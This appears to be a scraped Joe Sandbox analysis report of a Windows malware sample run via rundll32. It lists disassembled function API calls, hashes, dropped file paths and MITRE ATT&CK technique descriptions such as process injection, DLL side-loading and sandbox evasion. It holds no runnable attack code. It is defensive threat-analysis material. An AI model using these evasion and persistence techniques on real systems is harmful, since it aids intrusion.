Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: File$Time$Pointer$HandleInformationLocalSystem
String ID:
API String ID: 3986731826-0
Opcode ID: d76752544ed911a59727a7edf19554d459005f1b391c5dc4058420ad9c283b3b
Instruction ID: ff97dbb23fa899d1f5120cfb08b873e3bb9ee6e36dd1778d440c9f7421c03229
Opcode Fuzzy Hash: d76752544ed911a59727a7edf19554d459005f1b391c5dc4058420ad9c283b3b
Instruction Fuzzy Hash: A54182B1504B459FE310DF29C88096BF7E8FF89354F408A2EF59A83A51D771E909CB61

Function 10011725 Relevance: 6.1, APIs: 4, Instructions: 51COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 10011738
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000002,00000000,00000000,?,?,00000000,00000000,10005F05,00000000), ref: 10011764
GetLastError.KERNEL32 ref: 10011774
GetLastError.KERNEL32 ref: 1001177A

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: ErrorLast$ByteCharMultiWidewcslen
String ID:
API String ID: 4237787585-0
Opcode ID: fbde7d7f200f791d168fe25ebe5d393c7a4ec7783423b8fc7ef90a340bc1d4c3
Instruction ID: 7da0face451c6111151f8021a2b648fc1a122d1c6800f274b1f82439deee1a5c
Opcode Fuzzy Hash: fbde7d7f200f791d168fe25ebe5d393c7a4ec7783423b8fc7ef90a340bc1d4c3
Instruction Fuzzy Hash: 80F0C27620815ABDE224E6764CC8DAB77ECDB852F87124639F514DE282E935EC85C2B0

Function 10004FF0 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(001F0FFF,00000000,?,?,1000509A,?,76F90F00), ref: 10004FFD
TerminateProcess.KERNEL32(00000000,00000000), ref: 1000500C
CloseHandle.KERNEL32(00000000), ref: 10005017
CloseHandle.KERNEL32(00000000), ref: 10005024

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: CloseHandleProcess$OpenTerminate
String ID:
API String ID: 6823918-0
Opcode ID: ba73f2dd624f0828aa206dd07c4a16fe15200f4358f6e993a6f0722e7fc0aad8
Instruction ID: 5de784d7574f9188aa6451a23a921ffbe079856f50babf4c989d878cd4bace46
Opcode Fuzzy Hash: ba73f2dd624f0828aa206dd07c4a16fe15200f4358f6e993a6f0722e7fc0aad8
Instruction Fuzzy Hash: 5CE0C2713012306FF6625734AC4CBAF36D4EF0CB52F024200FA06D5186D670CC91C6E1

Function 10005410 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106stringCOMMON

Download Yara Rule

APIs

strrchr.MSVCRT ref: 10005484
strrchr.MSVCRT ref: 100054D1

Strings

123, xrefs: 10005474

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: strrchr
String ID: 123
API String ID: 3418686817-2286445522
Opcode ID: 39fdab1e5a0020d21e9eb7cee9aaec888a32d0f9fd102b13d19281708b0eb9c8
Instruction ID: 1cc1803cb3730628ab3ec1cde8f412e31f934bc2cd6faa80af4b6377ccdad2fb
Opcode Fuzzy Hash: 39fdab1e5a0020d21e9eb7cee9aaec888a32d0f9fd102b13d19281708b0eb9c8
Instruction Fuzzy Hash: A9218CB56042042BF314C238AC46BBB3BC4DB80365F54062DFA169B1D2EDBBEA894255

Function 100116B0 Relevance: 5.0, APIs: 4, Instructions: 45stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000,?,00000000,00000000,10009FCF,?,Win32_NetworkAdapterConfiguration), ref: 100116C2
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,?,00000001), ref: 100116E9
GetLastError.KERNEL32(?,00000001), ref: 100116F9
GetLastError.KERNEL32(?,00000001), ref: 100116FF

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: ErrorLast$ByteCharMultiWidelstrlen
String ID:
API String ID: 475730466-0
Opcode ID: 1416b3daedab4db7fc4709ea3dd8b86842199994e6fa798e2ac8bd62982b39c2
Instruction ID: 8c346e5ad489d9a7fb265ebe5e5df2cdd55428298bb11360a6b599af64deaac3
Opcode Fuzzy Hash: 1416b3daedab4db7fc4709ea3dd8b86842199994e6fa798e2ac8bd62982b39c2
Instruction Fuzzy Hash: 9901F432504226ABD7119B61CC45BDB3FB8EF023A1F204130F804DA290E730D5A1C6A5

Analysis Process: rundll32.exePID: 7992, Parent PID: 3504COMMON

Execution Graph

Execution Coverage:	15.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	42
Total number of Limit Nodes:	3

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 032607DD Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 151
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,ABAD1000,00001000,00000040,03261100), ref: 0326085C
wsprintfA.USER32 ref: 032608E1
wsprintfA.USER32 ref: 03260900
MessageBoxA.USER32(00000000,File corrupt.,Application error,00000010), ref: 03260918
ExitProcess.KERNEL32(00000000), ref: 03260920
VirtualFree.KERNELBASE(03270000,00000000,00008000,ED815D00), ref: 03260969

Strings

The ordinal %d could not be located in the DLL %s., xrefs: 032608D9
The procedure %s could not be located in the DLL %s., xrefs: 032608F8
File corrupt., xrefs: 03260915
Application error, xrefs: 03260914
SWVU, xrefs: 03260864, 03260878, 0326087E, 03260884, 032608A1

Memory Dump Source

Source File: 00000008.00000002.1498275143.0000000003260000.00000040.00001000.00020000.00000000.sdmp, Offset: 03260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_3260000_rundll32.jbxd

Similarity

API ID: Virtualwsprintf$AllocExitFreeMessageProcess
String ID: Application error$File corrupt.$SWVU$The ordinal %d could not be located in the DLL %s.$The procedure %s could not be located in the DLL %s.
API String ID: 81942880-1423270863
Opcode ID: c79b1c611a59b2f0b62d6b76279985f839f984ab3ab89f0c580d4d927e070505
Instruction ID: d55eb630c2af6405f6081b5fdb33e4725f31d5bc2efd29b224db5558d7eaebee
Opcode Fuzzy Hash: c79b1c611a59b2f0b62d6b76279985f839f984ab3ab89f0c580d4d927e070505
Instruction Fuzzy Hash: 6641AF366557469FEB38CF14CC84EEB73A9EF48754F048118EE4697249EB70A8A0CB90

Function 03260FA4 Relevance: 3.0, APIs: 2, Instructions: 35
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,00001000,00000004,?,?), ref: 03260FD3
VirtualProtect.KERNEL32(?,00001000,?,?), ref: 03260FF1

Memory Dump Source

Source File: 00000008.00000002.1498275143.0000000003260000.00000040.00001000.00020000.00000000.sdmp, Offset: 03260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_3260000_rundll32.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 333d2feefedeb4a11df68bec21991a956e925db56d9e6a2917b24d5a107d6d0d
Instruction ID: b7be5aa236b28cac658248528d606ada5cdd8b0e24832555275b6c7461373c28
Opcode Fuzzy Hash: 333d2feefedeb4a11df68bec21991a956e925db56d9e6a2917b24d5a107d6d0d
Instruction Fuzzy Hash: 4EF0E933240245AFEB198F64D895EEE7768DF48398B20016AF6029A186CA71E551C754

Function 03260063 Relevance: 2.6, APIs: 2, Instructions: 50
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 0326007E
VirtualFree.KERNELBASE(00000000,?,00004000), ref: 032600BE

Memory Dump Source

Source File: 00000008.00000002.1498275143.0000000003260000.00000040.00001000.00020000.00000000.sdmp, Offset: 03260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_3260000_rundll32.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: c7f3f847bd39c9ffca4c5c83804de00699601861443dcce05f992f4345ead0f0
Instruction ID: 74a40e88fc27779adea9fc1922f6952dcdaa766f323c96eb654a861e3dc012ca
Opcode Fuzzy Hash: c7f3f847bd39c9ffca4c5c83804de00699601861443dcce05f992f4345ead0f0
Instruction Fuzzy Hash: FC018676219602BEE7318AA19C00F37BBDCDF48612F148C5AFAD5C5091D965E4809B70

Function 0326002A Relevance: 1.3, APIs: 1, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualFree.KERNELBASE(00000000,?,00004000), ref: 032600BE

Memory Dump Source

Source File: 00000008.00000002.1498275143.0000000003260000.00000040.00001000.00020000.00000000.sdmp, Offset: 03260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_3260000_rundll32.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: a992a5cacdb97e2c59bd9131508e8a39cd1fdba3109e644b78219f2605f04693
Instruction ID: 56dcede05592a7011e63cbfe3b35f63848be351c7133bb28f4528c1778d265d8
Opcode Fuzzy Hash: a992a5cacdb97e2c59bd9131508e8a39cd1fdba3109e644b78219f2605f04693
Instruction Fuzzy Hash: E2F09E2257EB116DF210F7347C44A27FB98DF07221B154D97DC40D6091DD21C8C2A6E4

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.
Tactics:	Defense Evasion, Persistence
Data Sources:	Drive: Drive Modification
Platforms:	Linux, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report XgijTrY6No.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\1.txt

C:\Users\user\AppData\Local\Temp\mszcy.exe

C:\ftelcs\rjqzr.dll

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Suricata IDS Alerts

Windows Analysis Report
XgijTrY6No.exe

Function 00401A2A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30
sleepCOMMON

Function 00401867 Relevance: 42.2, APIs: 22, Strings: 2, Instructions: 151
sleepfileprocessCOMMON

Function 00402F22 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 111
COMMON

Function 004017B2 Relevance: 7.6, APIs: 5, Instructions: 67
fileCOMMON

Function 00401C6A Relevance: 7.5, APIs: 5, Instructions: 35
COMMON

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre